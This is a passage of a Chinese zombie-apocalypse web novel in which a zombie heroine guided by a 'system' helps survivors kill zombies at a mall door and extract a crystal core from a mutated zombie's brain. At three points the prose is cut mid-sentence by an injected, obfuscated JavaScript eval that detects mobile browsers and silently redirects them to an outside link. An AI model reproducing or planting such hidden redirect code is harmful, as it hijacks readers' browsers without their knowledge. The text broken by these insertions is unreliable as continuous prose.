软烂的，像是平时品味的菜肴，但是味道却无比难吃，同时让人感到胆寒。 那是同类的腐烂血肉。 杜彬脸色瞬间铁青，背过身子把手伸进喉咙死命抠着。 胆汁混合着食物与血肉残渣往外涌出。 偶土建，发黑的视野开始清晰，杜彬抬头余光看到了面前的人。 牧遥斜眼看了他一眼。 那一眼不含任何的情感，不像是人类的眼神，让杜彬又打了个冷颤。 这眼神仿佛在说…… ——这是我的猎物。 牧遥回头，用力往上捣动深入嘴部的金耙。 丧尸灰白的双眼瞪得巨大，眼角都近乎撕裂开，它似乎并不理解为什么都是同类，牧遥要杀它。 牧遥手下一个用力，结束了这头丧尸的生命。 她保住了人头。 很好。 还收获了3丧币。 很好。 丧丧的尖叫声终于停下，满意地闭嘴了。 其他人反应过来纷纷上前：“没有了吧？就一头吧？” 牧遥点头。 十五明显生气了：“你这人做什么呢？不知道开门杀吗？我们都没接近那扇门是不想吗？” 她伸手指着杜彬：“而且我们明显是一个团队，你做什么事情前不要跟我们知会一声吗？” 杜彬被说得脸色有些挂不住，他擦着嘴，张口终于找回了自己的声音：“我想着这里有物资，我们就不用冒危险去商场了啊？” “我是为了大家啊！” 七七嗤笑一声：“牛逼。” 小林也想说什么，被小秦按住，最后没有开口。 一直像个透明人的锅盖都是一脸不赞同地看着杜彬。 十五没管，憋在心里她要长结节的，现在毫无秩序，长了结节可没有医院能割。 她一直是心直口快的性格，于是她继续发作：“冒危险？有危险你只会在背后发抖好吧？刚有丧尸不都是我们上的？” “你看见我们几个女生的表情别以为我们看不懂，你的想法都写在脸上了！” 说得真好，但是再说下去他要不行了。 方姨轻咳一声，按住了十五：“好了好了，说两句就得了。” 十五哼了一声，扭头看向牧遥：“这个丧尸……啊？” 刚刚还在原地的牧遥已经不见踪影，往后一看，她已经拖着丧尸离开了好一段距离。 看方向，那是尸体堆…… 不是，姐，你怎么动作这么熟练呢？ “我把尸体收纳一下，很快就来。” 冰冷的机械女声回荡在空旷的地铁站，气氛顿时微妙了起来。 十五张大了嘴。 收纳？ 收纳什么东西？ 尸体也是可以收纳的？ 七七低声对十五说：“那头丧尸的腿……” 众人看过去，才注意到丧尸的腿部没有一丝血肉，只有零散的小腿骨暴露在空气中。 此刻正随着拖行的动作，腿骨和地板接触，发出轻微的“啪嗒”声。 所以她们没有听到屋里有行走的声音。 这头丧尸已经丧失了行动能力。 难道……是在人类的时候被丧尸吃光了大腿，留着最后一口气爬进了仓库关上了大门。 难道，变成丧尸之后，他是一直趴在门上，就等着有人打开吗？ 所有人被这个猜想惊得起了一身鸡皮疙瘩。 小秦上前把杜彬搀扶了起来，他没有留意到杜彬的眼神充满了怨毒，死死盯着十五的背影。 几人惊疑不定地看着牧遥把店员丧尸抬到了尸体堆上方，头对头，脚对脚，码的整整齐齐后拍着手回来了。 方姨愣愣地看着她的行为，联想到牧遥刚刚击杀丧尸干脆利索的动作。 难道那堆丧尸都是她清理的？ 方姨目光逐渐亮了起来。 十五对走回来的牧遥竖起了大拇指：“姐妹你太厉害了，就是……” 牧遥歪头：“？” 十五搓着手，小心翼翼的道：“你的电子音效能不能改一个？现在这个听起来有点吓人。” 是的，太吓人了！ 所有人都立刻点头。 何子来点得最用力。 她之前在家里就被吓到了。 牧遥：“……” 她在心里问丧丧：“吓人吗？” 丧丧：「吓人的很，您看看我的声音，如此可爱又充满活力……」 牧遥：“……好的。” 何子来小声对牧遥说：“姐姐，我来帮你调吧。” 牧遥默默点头，掏出手机递给何子来。 何子来修改音效为可爱萝莉音。 “这样会不会好一点呢~” 甜到发腻的可爱音效传出来，让所有人刚下去的鸡皮疙瘩又蓬勃冒头。 十五抖着嘴唇：“好，好多了。” 总比那仿佛死了一个星期的电子音好。 · · 方姨没有抓着杜彬的错处继续做文章，只是快速分好了物资，让大家做好进商场的准备。 杜彬哪怕有千万般的不愿，经过前面那一糟，他也没脸提出留下来守物资这样的想法。 在肚子里敲好的算盘爬到嗓子口也被他咽了回去。 于是杜彬只能心不甘情不愿地拎着刀，跟在牧遥的身边，往商场走去。 看样子他还寄希望于寻求牧遥的保护。 牧遥没管他，甚至觉得还挺好。 回头直接来一口，还能完成任务。 九人的目标很大，哪怕再小心也无法完全掩盖脚步声。轻微的响动让商场里徘徊的三头丧尸已经察觉到几人的气息，缓缓转头，往玻璃门走来。 “咚、咚、咚。” 它们的头撞击上玻璃门，发出了闷响。 这个声音吸引了商场内部的其他丧尸，摇摇摆摆地走了出来，往玻璃门口聚集过来。 众人的脚步停下，脸色瞬间难看。 牧遥有点惊讶，这数量比她记忆里要多一点。 敲击门的声音逐渐增大，可能唯一的好消息就是，这是单向内开门，拥堵在门口的丧尸暂时没有办法推开大门。 “一、三、五……八、九。”七七数了数，轻声道，“九头丧尸，不知道还有没有被吸引过来的。” “这不行吧，如果里面还有就比我们人数都多了。”小林有点慌乱地对方姨说，“这怎么办？” 方姨没有说话，她在思考。 何子来眼神落在玻璃门上的“推”字，眼珠子一转，扯了扯牧遥的衣角。 牧遥微微弯腰，听何子来的想法。 何子来说完，眼睛亮晶晶地看向牧遥，小声问：“你觉得可以吗姐姐？” 牧遥点点头。 得到牧遥肯定的何子来有点开心，她小心翼翼地举起了手：“我……我有一个办法！” 所有人的目光瞬间锁定了她。 何子来抖了抖，内心紧张极了，但还是咬着牙开口：“我们不用硬抗。” 她在众人不解地目光里指着门把手：“我们可以有人推开一条门缝，让丧尸探头进来。” 她举起手里的菜刀，晃了晃：“然后其他人再杀了丧尸！” 其他人：“……” 打地鼠吗这是？ 但是……好像不是不行？ 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699584|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人回身盯着趴在玻璃门上的丧尸，一下觉得好像有机会。 门后的撞击力道越发大了起来，现在是丧尸数量不多，但如果这个动静吸引来了更多的丧尸，有几十只、几百只、几千只呢？ 那样玻璃也会支撑不住最后破碎。 众人商量一下，确定了分工。 锅盖往前两步：“我来拉门。” 他看似瘦弱，实际上袖子一挽，下方是满满的肌肉，再加上他的武器实在是不适合去杀丧尸，本来要推门的方姨让他上了，自己负责杀丧尸。 十五和七七举起雕塑刀：“我们可以辅助击杀。” 小秦安抚了小林几句，拿着菜刀也走上前。 何子来也鼓起勇气走到前面。 她知道自己要熟悉这种事情，只有自己有力量，才能保护好妈妈。 “我来啦~我会更精准一点~” 牧遥拎着宝耙走到门边，示意方姨让让。 一头就是3丧币呢。 “还是我来吧。”方姨摇头，“你最厉害，可以麻烦你在旁边帮忙吗？” 这样如果有什么意外，可以让牧遥救场。 没有牧遥强，就所有事情都需要她扛的道理。 “好哒~” 也有道理，牧遥也没坚持，她后退几步，恰好退在杜彬的旁边。 她的位置很巧妙，既可以观察众人的反应，又可以随时救场。 “准备好了吗？”锅盖深吸一口气，握住门把手。 “好了。”方姨示意他往里推门。 锅盖手下使劲，浑身的肌肉绷紧，和门上挤在一起的丧尸比力气，他缓缓打开了大约20厘米的缝隙。 一只手猛地从门缝中探出，往四周抓挠，吓得人连连后退。 方姨一刀把丧尸的手剁了下来，只剩下躯体。 “再大一点！头还不能出来。” 锅盖咬牙点头，肌肉发力又推开了一段距离。 终于，一个丧尸头颅懵懂地探了出来，对门外的几人龇牙咧嘴。 方姨立刻抡下菜刀，这次她吸取了教训，看准了方向，用力砍下。 刀尖没入头颅中，这次的深度足够，这头丧尸立刻停止了活动。 “咚”的一声重响，丧尸栽倒在地。发出来的声音吸引了旁边的丧尸，头部转动，察觉到人的气息，一个个激动起来。 “姨姨真棒！”十五握着雕塑刀，暗暗松了口气，张口就在后面夸奖道。 方姨甩了甩手，刚刚瞬间爆发力道，手部有些发麻。 她呼出一口气，弯腰把刀从丧尸的头上拔了下来，扭了扭手腕看向锅盖，微微颔首： “可以了，下一头。” 锅盖点头，再次推开了门。 有了第一次的经验，他把握到需要把门拉开到什么情况，恰好能露出一个丧尸的头颅，又不会把全身都放进来，另一只握着的拖把刚好能荡开丧尸挥舞的手。 方姨刚开始也把握不好力道，用的都是十足的力，如此杀到第三头的时候，手就酸胀得难以抬起。 十五和七七见状，连忙上前：“方姨，我们来吧，您休息会儿。” 何子来在旁边连连点头。 方姨有些犹豫。 按照她的想法，既然是她组织的，就应该她打前头，没理由让十五她们上前面对这种危险。 而且……她的目光扫过几个女性的脸庞。 都是那么年轻的小姑娘。 方姨有点心疼。 何子来伸手拉过方姨的手，把她往后拉，低声说：“没事的姨，我们总要面对这些的。” 她的双手都在颤抖。 不管是握住方姨的手，还是握刀的手。 再看看十五和七七，两个小姑娘似乎跟没事人似的，但握着对方的手用力到发白。 都在害怕。 但是何子来说的没有错，世界变了，如果不能面对这一切，那么活不了多久。 方姨叹气，微微后退一步：“我就在后面。” 她看到牧遥站在一旁，稍稍安心。 后退，背部贴上冰凉的玻璃门。灼热的身体被冰凉浸染，方姨激起了一身鸡皮疙瘩。 她这才发现，原来刚刚手在颤抖的并不只是何子来一个。 身后传来丧尸的撞击力道，一下又一下，和心脏的跳动音合上节拍。 咚咚咚。 咚咚咚。 方姨握着菜刀的手无力垂下，仅剩的力道只能让她堪堪握住刀不滑落。 她能肉眼看见上面明显的起伏颤抖。 原来她也在发抖。 原来她也在害怕。 是啊，怎么会有人不害怕呢？ 17. 啊，是回合制？ 牧遥目睹这一切。 她应该是没有什么感觉的。 如果面前这些人出现什么情况，说实话她也是不在意的。 牧遥在自己的脑海里翻找，想要扒拉出一个符合当下的情绪。 是害怕？还是激动？ 很可惜，翻来覆去的手捞到的只有虚无的空气，如今的她依旧毫无感觉。 她站在门缝的正前面，不属于这边的人类，也不属于那边的丧尸。 哪边属于她？ 毕竟她的任务不在于杀丧尸，而在于咬人。 这么想着，牧遥稍稍活动自己有些僵硬的脖子，一个个扫过在场的几位候补待咬人，心中默默评估着。 首当其冲的就是杜彬。 这人太明显了，自私愚蠢的仿佛搞事情npc里面一般的举动。 现在的他躲在锅盖身后，眼神飘忽不定，时不时还瞄一眼十五。 似乎努力想要帮忙，实则躲在了最为安全的位置。 如果锅盖没有把握好分寸，丧尸突破这扇门，他就可以把面前的锅盖推向丧尸，来换取自己的生机。 另一个待咬候补……牧遥有点不确定，她还要再观察一下。 一共要咬几个人？ 而且是需要待咬候补人做出什么无法挽回的事情，才能去咬，还是只要是露出苗头了就能下嘴？ 丧丧都不肯透露。 所以啊，不给清晰指令的甲方就是不行。 只能自己判断了。 「啧啧。」 不靠谱的甲方·丧丧还在脑子里一直发出吃瓜的声音，似乎还在嘟囔着怎么没有瓜子可以啃。 “滋啦——” 门再一次被推开，牧遥用手把脖子掰回来，手腕轻微地活动着。 新的丧尸脑门顺利卡在了门缝里。 看得牧遥有点幻肢疼。 锅盖手臂紧绷，隐隐约约地肌肉线条从衣物下显现出来。他把控着门的尺度，确保只有头能够挤过来。 张大嘴发出无声嚎叫的丧尸看起来很年轻。 柔顺的短发已经毛躁不堪，鲜血和灰尘显得整个人灰扑扑的。她穿着生烫牛肉米线店的制服，龇牙咧嘴间还能看到隐约的梨涡。 十五的手一顿，颤抖剧烈起来。 她认得她。 那天她和七七下班回来，实在是走不动，坚持不到家就快饿晕了，她们便直接在地铁口进商场的第一家店里吃饭。 十五记得自己和七七点的是最便宜的一份米线加个蛋。 结果或许是刚上岗过于紧张，这位年轻的服务员先是被锅烫了一下，然后发现忘记了煎蛋，慌乱之下给十五和七七鞠了个九十度的大躬。 这一下把她们俩给整蒙了，连忙说没事，补上就行。 等煎蛋补送过来，十五给她递了一张创可贴，年轻的服务员害羞地笑了，轻声道谢。 她笑起来真好看啊，满满的胶原蛋白，还有着可爱的小梨涡。 如果多去这家店几次，她们能够成为朋友吗？ 可惜，这个世界上没有如果。 或许是因为死的时候，她正裂开嘴绝望地惊呼，梨涡残留在僵硬的、灰白的皮肤之上。 白色的眼白中，也再也看不到之前那浓郁的情感。 啊，真讨厌。 她不想看到这样的眼睛。 十五咬紧下唇，眼睛闭了闭，很想逃避。 之前还能用就当是平时玩丧尸游戏的感觉麻痹自己，现在曾经见过的活生生的人就在面前，变为了平时轻飘飘的一句“丧尸”。 一个概括性的词语就能否定一个活生生的人曾经的过往。 察觉到十五的情绪似乎不好，七七担忧地望着她。 但下一瞬，十五的眼睛猛地睁开，手中猛得用力！ 雕塑刀往下狠狠刺入了那无神的白色眼睛中。 在丧尸痛苦伸手的时候，十五使足了劲把雕塑刀的刀柄往下一压。 她和七七的力气不够大，如果用菜刀是劈不开头颅的。所以她们商量之后，还是选择了自己最习惯的工具。 “噗呲。” 刀尖似乎刺穿了什么。 薄薄的，有点韧性，和泥土还有骨架的触感都不一样。 是的，这是人的触感。 十五确定手下的丧尸已经没有动静了，刚把雕塑刀拔出来，还没来得及开口，锅盖已经像之前一样用力把尸体踢进了商场。 僵硬的□□荡起，又重重落下，和前面的一样。 对哦，他不认识她。 十五呆呆地望着，心中想着。 说实话，她也不认识她，只是一面之缘而已。 变成了丧尸是不是身体会轻一点？ 居然能被踢起那么高。 七七握住了十五的手腕：“下一个我来。” 十五恍惚地点点头，退了下来。 “轮流吗？那下一个是我了？”何子来一下子紧张起来，双手握着棒球棍。 十五和七七：“……” 咱们这也不是回合制啊？ 被这一打岔，十五心里的情绪也消散了大半，她挠挠头，退到方姨旁边。 “真棒！”方姨也像之前她夸奖的那样，不熟练地学着她的语气对她说道。 十五恍惚地点点头，吸了吸鼻子，把头靠在了方姨的肩膀上。 方姨摸了摸她的头。 前方的七七已经示意锅盖开门。 七七有着充足的锻炼痕迹，一身肌肉十分漂亮。 和十五不一样的是，她明显是主动进攻派。只见她一手抓住丧尸的后脑勺往下拉扯，迫使着它仰头。 瞄准时机，用力往下对准眼眶杵下雕刻刀，用力搅动几下再拔出。 丧尸了无生息，被踢了进去。 这是第五只了。 “我！”何子来举起了手，她找方姨借了菜刀，快步走上前去。 不远处，小林想要从小秦手里拿回西瓜刀，示意在何子来之后是她。 小秦满脸不认同，耐心劝说着小林：“宝宝，太危险了，我来就好。” 牧遥看着何子来的手虽然哆哆嗦嗦，但仍是准确劈在丧尸脑门上，稍微放心。 孩子力道不大够，何子来正苦着脸拔刀准备再劈。 牧遥确定她没有危险，把注意力放在小情侣身上。 小林似乎不满小秦的保护，她低声说：“她们都可以，我也行的。” “可是你都吐了两次了。”小秦握着小林已经摸上刀的手。 她瞥了一眼被死死按住的手，皱眉抬眼看向小秦，满脸的不赞同。 他的表情依旧温柔，温声道：“你是不相信我能保护你吗？” “我只是嗅觉比较敏感，你也是知道的……”小林的手微微用力，想要把刀抽出来。 “让我试试。” 她的语气坚定。 她的手被推开。 “不行哦。”小秦笑着，“哪有女孩子去杀丧尸的，多危险。” “你这样别人会怎么想我？乖。” 小林还想说什么，小秦已经拎着西瓜刀向前，还不忘交代她：“在这里等我。” 她抬头，看到何子来满身是血拿着菜刀退了下来。 小林连忙上去扶着她：“你没事吧？” 何子来摇头：“没事，就是脱力了。” 她把菜刀递给小林：“姐姐，你帮我拿下刀吧，我快拿不住了。” “丧尸的头太硬了，我砍了好几下……” 这么小的女孩子都上前了，杀了一头丧尸就累得够呛。小林心里开始打鼓，不免得有点赞同男朋友所说的话。 ——哪有女孩子去杀丧尸的。 谁知这句话还没想完，何子来嘟囔的话就传入她的耳中。 “我要锻炼！努力做到一刀一个丧尸！” 小林：“……” 锻炼……好像有点道理？ 她脑袋一团乱麻，抬眼看到男朋友已经顺利用西瓜刀劈下丧尸的头颅。 男朋友很贴心，也很厉害，她不学也没事吧？ 小秦看着手里的刀，没有说话，不知在想些什么。 过了一会儿他叹口气，侧身让位：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699585|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一个是谁了？” 下一个……应该是杜彬。 察觉到所有人的目光都聚集在自己身上，杜彬的脸色大变。 握着菜刀的手猛烈颤抖起来，过度的恐惧和紧张让他脑子一片空白。 慌乱中，余光扫过牧遥，似乎有了底气一般，杜彬立刻指着她：“怎么她不来？” 十五翻了个白眼：“那个姐姐刚刚就杀了一只好吧？她一直守在旁边准备补刀诶。” “相反你做了啥？就躲在锅盖身后。” “对哒~我已经杀过啦~” 杜彬：“……” 杜彬不愿意去，他没有什么力气，甚至武器也不好用，只有一把小小的菜刀。 劈不开头颅，刺不进眼眶，也锯不开脖子。 而且这是杀人吧？ 说实话他内心还抱着或许很快官方就能解决一切的希望呢。 那到时候恢复和平，他们杀过丧尸的人会不会被认为是杀人犯？ 这不好吧……他可是三代单传，有案底不好的。 还影响以后的孩子考公的。 他的余光瞄向锅盖，心里是万般不愿。 但在所有人的视觉逼迫下，他只能心不甘情不愿地站在了门口。 锅盖再次打开门，被这边的动静吸引来的丧尸还剩下两头，这次一起挤了过来。 力度猛得增大，用力撞击下打开的缝隙大了些，两个头颅一同挤了过来。 杜彬手抖得不行，他能闻到丧尸传来的浑浊气息，让他想要干呕。 嘴里依旧残留着刚刚腐烂血肉溅到嘴里的滋味，像无数的爪子抓挠着他的喉咙和胃，让他无比难受。 准确的说，面前的一切都让他恶心，逃避般，思绪开始涣散。 好想来一根烟啊，刚刚从便利店拿了好几包烟，够他抽好一会儿了。 还拿到了平时抽不起的烟呢。 如果不是方姨拿了几包，那全部的烟都是他的。 啧，好想抽。 “快点！” 锅盖的催促声打断了杜彬脑子里混乱发散的思绪，他的语气急促，“一起动手，不然我要压不住了。” “我知道！”杜彬低吼了一声，眼一闭，举起菜刀对准脑袋就劈了下去。 刀没过头颅一半就无法再前进。 力道不够。 下面的丧尸有两头。 “这……”杜彬有点慌，手用力想要把刀拔出来，却失败了。 下方的丧尸头插着刀也没有任何的影响，它张大了嘴，想要去咬上方杜彬的手。 嘴巴裂到一个不可思议的程度，看似僵硬的身躯却灵活无比。 杜彬慌乱之下，一脚踹在了丧尸的脸上，用力使劲这才把刀拔了出来。 他这下学聪明了，把刀竖起往下刺入刚刚的缺口，终于解决了上面的那头丧尸。 把丧尸戳进去后，他后退两步，看到之前被挡在小秦身后的小林，眼睛一亮：“到你了。” 小林一愣，下意识道：“啊……好！” 正好她手里还握着何子来递给她的菜刀。 小秦大惊，急忙拉着小林的手：“我来我来，你不要上去。” “都说了太危险了，你不要做这些。”小秦察觉到小林似乎有点不乐意，手下微微用力，语气依旧平缓，“我会保护你的，你是不相信我吗？” 小林手腕一疼，她蹙眉看着小秦，正准备说些什么，就发现玻璃门那边似乎有点不对劲。 锅盖死死顶着门，动作和之前的轻松完全不一样，他的手臂青筋暴起，明显已经用尽了全力。 不对劲，这只丧尸的力气也太大了吧？ 锅盖脑中思绪疯转，他平时有健身习惯，虽然看着高高瘦瘦，实际上很有力气，所以在需要有人开关门的时候就站了出来。 他对自己的力量是有自信的。 但是现在这只丧尸…… 锅盖低头打量一番，白皙但一直面无表情的脸第一次脸色巨变。 说起来，这个商场的地下一楼…… 是不是还有一个健身房来着？ 18. 啥？晶核？ 当人变成丧尸之后，是会像新的程序一键清零重新运行，还是会继承作为人的基础数值继续发展呢？ 在人们常有的认知里的丧尸，需要击杀脑部才能死亡，而随着丧尸的发展，丧尸会进化，并且在脑子里会有“晶核”存在。 与此相对的，人类也会根据自身的潜力觉醒异能。 但现实并不是小说或者是科幻作品，现在只是丧尸爆发的第九天，没有任何人提及所谓的“晶核”和“异能”。 锅盖现在能够确信，丧尸会继承人类时候的身体素质。 甚至……还有加强。 就如同现在正在牟足了劲，死死撞击玻璃门的这头身形庞大的丧尸。 身高一米八，皮肤古铜色，工字背心与其说是紧紧绷在身上，看起来更像是被丰满的胸肌撑起。 两只胳膊就更不用说了，肱二头肌看起来都有锅盖的脑袋大。 ——这是健身房的健身教练。 为什么健身教练都打不过丧尸？ 不应该一拳头一个丧尸头吗？ 锅盖额头渗出了细密的汗液，口罩下的嘴咬紧牙关，手下青筋鼓起，用了十足的力和这头丧尸对抗。 “砰！砰！砰！” 玻璃在撞击声中发出让人牙酸的声音，似乎随时都会破碎。 “快杀了他！” 锅盖从牙缝间挤出了这一句。 旁边的方姨几人在这只丧尸撞击的时候就意识到不对，玻璃门颤抖的十分明显，如果再不解决，怕不是整个玻璃门都会被撞击破碎。 正常人的力量能够做到吗？ 这是丧尸。 如果连商场的厚重玻璃都能撞破，那许多人家里的玻璃在这样的丧尸面前，或许如同纸糊一般。 要是力量更大，是不是连防护铁栏都能扯断？ 不能留他。 方姨立刻拿过十五手中的雕刻刀，对准眼眶，奋力戳了下去。 哪怕变成丧尸肌肉还在，不至于平时连头和眼球都练吧？ 也没听说有人健身出了铁一般的眼球。 大家都是这么想的。 但变故发生。 本来脆弹如同爆爆珠一样的眼球变成了铁球，雕塑刀尖戳在眼前上，无法寸进分毫。 方姨的额头渗出汗液。 她感觉自己像是刺在了一个铠甲上，使出浑身解数都没办法突破防御。 这不是普通人类可以抗衡的。 “还有这样全身强化的丧尸吗？”牧遥在心中问丧丧。 「嗷，看来他很有当丧尸的潜力呢。」丧丧也啧啧惊奇道，「正常不会这么快就有变异丧尸出现的，它已经要接近中级丧尸的程度了。」 “那正常的时间是多久？” 「大概1到3个月，看天赋。」 这才第九天，就已经有这样的丧尸出现。 或许不是一个好信号。 小秦握刀上前，想要劈下丧尸的头颅，但刀只在脖子上留下了一点痕迹。 “怎么这么硬啊？”看着刀切割出来的白痕，他也有点震惊。 虽然他个子不高，但平时也有在锻炼，自认为力量不小。 “这么厉害的人怎么也会变成丧尸啊？”十五也十分惊恐。 「估计是第一批转换的人捏，和宿主您一样呢！」 “哦。” 牧遥应了一声，上前轻轻推开十五和七七，站在了健身丧尸的面前。 好冰凉的手。 七七一愣，后退两步让开了位置，顺手把不明情况的十五往后拉。 方姨也犹豫地收回了手，让到身侧和锅盖一同抵御健身丧尸的怪力。 牧遥站在健身丧尸的面前，低头俯视他，缓缓抬起了手。 她们这才看清了牧遥一直握在手里的武器是什么。 “那……那是痒痒挠？”十五小声道。 “不会吧……”七七惊疑不定，“我们的雕塑刀都没办法，她的这个能行？” 事实证明，能行。 铁蛋变回爆爆珠，在牧遥的手下迅速爆浆。 牧遥的动作一顿，但很快恢复如常，尖端用力搅动几下。 好硬的头。 不仅仅是眼球，连着外面的皮肤、内里的骨骼血肉都变得僵硬，连如此坚硬的宝耙刺进去都有一种阻力。 正常搅动一下丧尸就该死亡，她这时候都搅了五六下了，这头丧尸还在锲而不舍地张嘴流口水。 只是因为牧遥同类的气息让他有点迷茫，所以他想要咬人的对象变成了旁边的方姨。 真奇怪。 这么多下，脑浆早就“日”的一声搅拌成糊糊了，怎么还能动。 牧遥有点疑惑，空着的手抓上了丧尸的光头，死死捏住，手下加大了搅动的力度，用力一捅。 像是气球终于被扎破一下，发出了非常轻微地一声“噗”，接下来是什么破碎的声音，这头丧尸终于彻底停下。 他死了。 「宿主已击杀一头初级丧尸，获得丧币奖励3SB」 “这还是初级丧尸？” 「还没进化完毕呢，稍等哦宿主，我和上头反应一下。」 噼里啪啦的声音传来，像是丧丧在奋力敲键盘。 没来得及管丧丧的后续处理，牧遥抽回宝耙，想了一下，调转了手中宝耙的方向。 众所周知，不求人的两端是不一样的。一端像是耙子的形状，用来挠痒，另一端则是小锤子，用来捶背缓解疲劳。 这几天牧遥用的都是耙子的那一头，戳眼球特好使，还能往上挠一挠，抠一抠。 现在看样子是挠不开了，只能用锤子敲开。 牧遥有点好奇这头丧尸的脑部有什么不同，那奇妙的声音又是因为什么产生的。 俗话说得好，知己知彼百战百胜。 同样作为一头丧尸，她也必须知道这一点。 这样想着，牧遥举起了手里的宝耙，用力锤下。 方才菜刀都劈不开的头颅，此时就像清脆的西瓜一样，发出令人牙酸的声音后向四周裂开。 本就躲在一旁不敢出声的杜彬更是缩了缩脖子，又往后退了退。 原来丧尸的脑子和人类还是很像的。 白花花的，沟壑不多，较浅。 每一条弯曲的沟壑上面都有血丝，跟猪脑也很像。 牧遥的鼻子动了动，她并不能闻到气味。 从身边的人猛得捂住鼻子的行为看起来，味道十分可怖。 嗅觉敏锐的小林脸都变成了菜色，张口想要呕吐反而被臭味堵住，眼角渗出眼泪。 “呕，你要做什么？” 方姨一开口，就被如同下水道浸透的屎味冲击了满嘴，先是哕了一下，强压住呕吐的欲望，才能说话。 牧遥没有手打字，就没有回答她。 她的手正在丧尸的脑子里搅动。 998丧币的触觉恢复还不够，她察觉不出细微的变化。 这不大好办，她找不到奇怪的源头在哪。 「宿主，您可以花费3988丧币购买触感升级的功能哦，现在正是打折期间，这个折扣会持续一个月呢。」 牧遥：“……” 这叫什么，是不是趁火打劫？ 「比如现在脑子软乎乎，有点油润的触感，比如小动物毛毛的舒适感，比如爱人温热的皮肤……」 丧丧震声道：「这都是要更高级的触觉才有的呀！」 牧遥没有理它。 她不免得开始觉得这个系统是不是黑心系统了。 「您说什么呢！我才不黑心呢！」 丧丧不开心地嘟囔着：「反正目标都是要恢复成和人差不多水平嘛，您早买晚买不都一样嘛。」 差不多水平，那也不是人。 牧遥还是没有搭理它。 手指依旧僵硬地在脑子里不停搅动。 其他人都要被吓麻了。 试问，看到脑子被盛放在破碎的头骨容器里，正在不停被搅动，那画面不是一般人能接受的。 何子来捏着鼻子，蹭到牧遥身边问：“姐姐，你在找什么？我可以帮你。” 牧遥撇了一眼抖得厉害的小姑娘，叹口气。 她把宝耙插进口袋里，空出一只手摸出手机： “对哒~刚刚击杀的时候手感不大对~有点脆脆的~我想看看是不是有什么特殊的东西呢~” 后面的十五眼睛一亮：“难道是小说常有的那种晶核？” 她低头看向自己戴着手套的手，好奇压倒了内心的恐惧，她一咬牙：“要不我来？我手比较小。” “好呀~学艺术的手都比较巧一点~” 牧遥没有推脱，把手拔出来随意地将沾上的液体擦在身上，就示意十五上前。 另一只干净的手拎着何子来后退。 其他人都一言难尽地围在一边。 十五不敢深吸气，只能屏住呼吸，缓缓把手伸了进去。 没事的，没事的，就当是平时的猪脑…… 噫！又滑又韧的，好奇怪的手感。 呃！怎么还有点湿湿的，不会手套漏了吧。 呕！真的好臭好臭。 像是把脸埋到了充满厨余垃圾的垃圾桶里，对着在炎炎夏日浸泡了发酵了三天的不明液体，深呼吸了一口气。 十五的表情越发狰狞。 终于，她好像摸到了什么，小心翼翼地捏着一块东西出来了。 一股清香荡平了恶臭，众人终于能够呼吸自由。 “是这个吗？” 十五捏着一块米粒大小的红色晶体。 这么小都能找到，看起来十五只是平时说话咋咋呼呼的，实际上很细腻。 其他人都感到十分惊奇，纷纷开口：“这难道是传说中的晶核吗？是不是有什么特殊能量的？” 只有方姨一脸纳闷：“啥？晶核是啥？” 何子来连忙和她解释。 「以后会有的，现在还没到时候呢。」丧丧跟牧遥解释，「正常还需要大约三个月才能孕育出这么大的晶核，这头真的很有天赋。」 牧遥：“所以我的脑子里还没有？” 丧丧：「没呢，宿主还是个宝宝丧尸呢。」 牧遥：“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699586|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>算了，她差不多也要习惯了。 牧遥想起来，补充问道：“那刚刚击杀的时候，有一声破碎的声音是什么？” 「唔……虽然宿主接受这个信息有点早，但既然遇到了，我就可以说了。」 丧丧给牧遥详细解释：「晶核实际上的形状分为两层，外层有一个透明的薄膜，相当于是保护作用，具有一定的硬度。内层就是十五手中的晶核，其实通常叫做【核】，只是受到一些影视作品和小说的影响，大家都叫做【晶核】。」 趁着其他人在观察和激烈讨论，牧遥理解了丧丧所说的晶核。 用一个简单的比喻来说，就是鸡蛋，外面的【壳】是蛋壳，用来保护内里的【核】。 相当于头骨保护脑子，然后脑子中又有一个保护着【核】的【壳】。 这有点像套娃。 所以牧遥听到的清脆破碎声，就是【壳】被打破的声音，这才造成了丧尸的死亡。 具体的形成原因，丧丧不肯说，只说还不到时候。 围着晶核的众人讨论半天，也没说出点啥有用信息。知道点什么的牧遥又不能说。 何子来悄悄给牧遥发消息。 【凶猛大白兔：姐姐，这是晶核吗？】 【遥：可以这么理解。】 何子来眼睛一亮。 【凶猛大白兔：那会像大家说的，吃下去会获得异能吗？还是需要被丧尸咬一口，没有变化的人就会有异能？】 丧丧：「异能不是那么好获得的，可以让她们打消这个念头。」 